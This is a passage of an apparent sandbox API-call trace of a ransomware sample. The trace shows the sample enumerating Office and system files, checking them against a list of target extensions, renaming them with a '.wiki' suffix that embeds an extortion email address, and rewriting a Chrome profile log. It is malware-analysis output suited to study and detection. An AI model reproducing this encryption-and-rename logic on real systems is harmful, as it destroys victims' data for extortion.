Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.340] lstrlenW (lpString=".zip") returned 4 [0149.340] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.340] lstrlenW (lpString=".rar") returned 4 [0149.340] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.340] lstrlenW (lpString=".bz2") returned 4 [0149.340] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.340] lstrlenW (lpString=".7z") returned 3 [0149.340] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.340] lstrlenW (lpString=".dbf") returned 4 [0149.340] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.340] lstrlenW (lpString=".1cd") returned 4 [0149.341] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.341] lstrlenW (lpString=".jpg") returned 4 [0149.341] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.341] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0149.341] lstrlenW (lpString="ja-jp.xml") returned 9 [0149.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x25c [0149.342] GetFileSizeEx (in: hFile=0x25c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=16616) returned 1 [0149.342] CloseHandle (hObject=0x25c) returned 1 [0149.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0149.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.342] lstrlenW (lpString=".doc") returned 4 [0149.342] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.342] lstrlenW (lpString=".docx") returned 5 [0149.342] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0149.342] lstrlenW (lpString=".pdf") returned 4 [0149.342] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.342] lstrlenW (lpString=".xls") returned 4 [0149.342] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.342] lstrlenW (lpString=".xlsx") returned 5 [0149.342] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0149.342] lstrlenW (lpString=".ppt") returned 4 [0149.342] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.342] lstrlenW (lpString=".zip") returned 4 [0149.342] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.342] lstrlenW (lpString=".rar") returned 4 [0149.343] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString=".bz2") returned 4 [0149.343] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString=".7z") returned 3 [0149.343] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.343] lstrlenW (lpString=".dbf") returned 4 [0149.343] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.343] lstrlenW (lpString=".1cd") returned 4 [0149.343] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.343] lstrlenW (lpString=".jpg") returned 4 [0149.343] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.343] lstrlenW (lpString=".doc") returned 4 [0149.343] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString=".docx") returned 5 [0149.343] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0149.343] lstrlenW (lpString=".pdf") returned 4 [0149.343] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString=".xls") returned 4 [0149.343] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString=".xlsx") returned 5 [0149.343] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0149.343] lstrlenW (lpString=".ppt") returned 4 [0149.343] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.343] lstrlenW (lpString=".zip") returned 4 [0149.343] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.343] lstrlenW (lpString=".rar") returned 4 [0149.344] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString=".bz2") returned 4 [0149.344] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString=".7z") returned 3 [0149.344] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.344] lstrlenW (lpString=".dbf") returned 4 [0149.344] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.344] lstrlenW (lpString=".1cd") returned 4 [0149.344] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0149.344] lstrlenW (lpString=".jpg") returned 4 [0149.344] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.344] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0149.344] lstrlenW (lpString="ko-kr.xml") returned 9 [0149.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x25c [0149.344] GetFileSizeEx (in: hFile=0x25c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=15097) returned 1 [0149.344] CloseHandle (hObject=0x25c) returned 1 [0149.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0149.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.345] lstrlenW (lpString=".doc") returned 4 [0149.345] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.345] lstrlenW (lpString=".docx") returned 5 [0149.345] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0149.345] lstrlenW (lpString=".pdf") returned 4 [0149.345] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.345] lstrlenW (lpString=".xls") returned 4 [0149.345] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.345] lstrlenW (lpString=".xlsx") returned 5 [0149.345] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0149.345] lstrlenW (lpString=".ppt") returned 4 [0149.345] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.345] lstrlenW (lpString=".zip") returned 4 [0149.345] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.345] lstrlenW (lpString=".rar") returned 4 [0149.345] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.345] lstrlenW (lpString=".bz2") returned 4 [0149.345] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.345] lstrlenW (lpString=".7z") returned 3 [0149.345] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.345] lstrlenW (lpString=".dbf") returned 4 [0149.345] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.346] lstrlenW (lpString=".1cd") returned 4 [0149.346] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.346] lstrlenW (lpString=".jpg") returned 4 [0149.346] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.346] lstrlenW (lpString=".doc") returned 4 [0149.346] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.346] lstrlenW (lpString=".docx") returned 5 [0149.346] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0149.346] lstrlenW (lpString=".pdf") returned 4 [0149.346] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.346] lstrlenW (lpString=".xls") returned 4 [0149.346] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.346] lstrlenW (lpString=".xlsx") returned 5 [0149.346] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0149.346] lstrlenW (lpString=".ppt") returned 4 [0149.346] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.346] lstrlenW (lpString=".zip") returned 4 [0149.346] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.346] lstrlenW (lpString=".rar") returned 4 [0149.346] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.346] lstrlenW (lpString=".bz2") returned 4 [0149.346] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.346] lstrlenW (lpString=".7z") returned 3 [0149.346] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.346] lstrlenW (lpString=".dbf") returned 4 [0149.346] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.346] lstrlenW (lpString=".1cd") returned 4 [0149.347] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0149.347] lstrlenW (lpString=".jpg") returned 4 [0149.347] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.347] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0149.347] lstrlenW (lpString="zh-changjei.xml") returned 15 [0149.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x25c [0149.348] GetFileSizeEx (in: hFile=0x25c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=9803) returned 1 [0149.348] CloseHandle (hObject=0x25c) returned 1 [0149.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0149.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0149.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0149.348] lstrlenW (lpString=".doc") returned 4 [0149.348] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.348] lstrlenW (lpString=".docx") returned 5 [0149.348] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0149.348] lstrlenW (lpString=".pdf") returned 4 [0149.348] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.348] lstrlenW (lpString=".xls") returned 4 [0149.348] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.348] lstrlenW (lpString=".xlsx") returned 5 [0149.348] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0149.348] lstrlenW (lpString=".ppt") returned 4 [0149.348] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0149.348] lstrlenW (lpString=".zip") returned 4 [0149.348] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.348] lstrlenW (lpString=".rar") returned 4 [0149.348] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.349] lstrlenW (lpString=".bz2") returned 4 [0149.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.349] lstrlenW (lpString=".7z") returned 3 [0149.349] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0149.349] lstrlenW (lpString=".dbf") returned 4 [0149.349] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0149.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0149.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0149.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0163.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0163.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0163.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0163.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0163.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0163.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0163.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0163.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_M.VSS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_m.vss.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_U.VSS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_u.vss.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.342] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.342] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.936] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.936] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0168.937] GetLastError () returned 0x0 [0168.937] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x156, lpOverlapped=0x0) returned 1 [0171.419] WriteFile (in: hFile=0x1a4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x160, lpOverlapped=0x0) returned 1 [0171.419] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) 